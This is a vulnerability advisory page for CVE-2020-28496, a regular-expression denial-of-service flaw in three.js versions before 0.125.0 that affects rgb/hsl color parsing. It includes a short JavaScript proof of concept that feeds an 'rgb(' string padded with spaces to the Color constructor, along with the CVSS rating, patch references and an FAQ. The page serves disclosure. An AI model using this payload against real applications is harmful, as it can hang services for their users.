Vulnerability Description
This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")
CVSS Score
HIGH
Affected Products
| Vendor | Product | Versions |
|---|---|---|
| Three Project | Three | < 0.125.0 |
Related Weaknesses (CWE)
References
- https://github.com/mrdoob/three.js/issues/21132ExploitIssue TrackingThird Party Advisory
- https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff31PatchThird Party Advisory
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972ExploitThird Party Advisory
- https://snyk.io/vuln/SNYK-JS-THREE-1064931ExploitThird Party Advisory
- https://github.com/mrdoob/three.js/issues/21132ExploitIssue TrackingThird Party Advisory
- https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff31PatchThird Party Advisory
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972ExploitThird Party Advisory
- https://snyk.io/vuln/SNYK-JS-THREE-1064931ExploitThird Party Advisory
FAQ
What is CVE-2020-28496?
CVE-2020-28496 is a vulnerability with a CVSS score of 7.5 (HIGH). This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++...
How severe is CVE-2020-28496?
CVE-2020-28496 has been rated HIGH with a CVSS base score of 7.5/10. Review the CVSS metrics above for detailed severity breakdown.
Is there a patch for CVE-2020-28496?
Check the references section above for vendor advisories and patch information. Affected products include: Three Project Three.